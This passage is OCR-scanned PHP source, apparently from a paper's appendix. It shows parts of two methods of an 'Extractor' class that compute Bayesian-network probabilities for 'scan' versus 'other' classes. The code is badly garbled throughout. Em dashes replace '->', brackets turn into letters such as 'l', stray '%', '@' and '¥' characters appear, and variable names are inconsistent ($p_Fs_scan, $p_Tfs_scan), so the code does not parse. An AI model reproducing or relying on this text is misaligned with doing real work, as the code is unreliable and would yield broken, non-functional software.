else if ($this—>BN[$nil->rangeend[$c] == 'inf') {
if ($v > $this—>BN[$ni]->rangestart[$c])
$p = $this—>BN[$ni]->scan[$cl;
else {
if ($v <= $this—>BN[$nil->rangeend[$c] &&
$v > $this->BN[$nil->rangestart[$c])
$p = $this->BN[$ni]->scan[$c];
}
}
}
else {
// value is not numeric so must fall in named category tablecolumn
// in PDT
if ($this—>BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$nil->scan[1];
else {
for ($c=1;%$c<=$this—>BN[$nil->columns; $c++){
if ($this—>BN[$nil->rangestart[$c] === $v) {
$p = $this—>BN[$nil->scan[$c];
}
}
}

$p_Fs_scan = bcmul($p_fs_scan, $p, 50);
$p_fs_scan = bcmul($p_fs_scan, $this—>BN[0]->popsharel4], 50);

return $p_Tfs_scan;
} //end of funtion CalcECScan()
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private function CalcECOther($values, $class) {
// calculate P(event|other)*P(other)

$ni = 0;

$p; //probability

$p_fs_other = '1"';

foreach ($values as $v) {

$ni++;

if ($v === '1.0' || $v === '1.1') ;

else if ($v === '1' || $v === '0') $v = intval($v);
else if (intval($v) > @) $v = intval($v);

if (is_int($v)) {

if ($this—>BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$ni]->other[1];
else {
for ($c=1;%$c<=$this—>BN[$nil->columns; $c++){
if ($this—>BN[$nil->rangestart[$c] == 'inf') {

if ($v <= $this->BN[$ni]->rangeend[$c])
$p = $this—>BN[$ni]—>other[$c];

}
else if ($this->BN[$ni]l->rangeend[$c] == 'inf') {
if ($v > $this—>BN[$ni]->rangestart[$c])
$p = $this—>BN[$ni]—>other[$c];

else {
if ($v <= $this—>BN[$ni]->rangeend[$c] &&
$v > $this->BN[$nil->rangestart[$c])
$p = $this—>BN[$ni]—>other[$c];

b
¥
¥
else {
// value is not numeric so must fall in named category tablecolumn
// in PDT
if ($this—>BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$ni]->other[1];
else {
for ($c=1;%$c<=$this—>BN[$nil->columns; $c++){
if ($this—>BN[$nil->rangestart[$c] === $v) {
$p = $this—>BN[$ni]->other[$c];
b
¥
¥

$p_fs_other = bcmul($p_fs_other, $p, 50);

}
$p_fs_other = bcmul($p_fs_other, $this—->BN[@]->popshare[5], 50);

return $p_fs_other;
} //end of funtion CalcECOther()
} // end of class Extractor

7>
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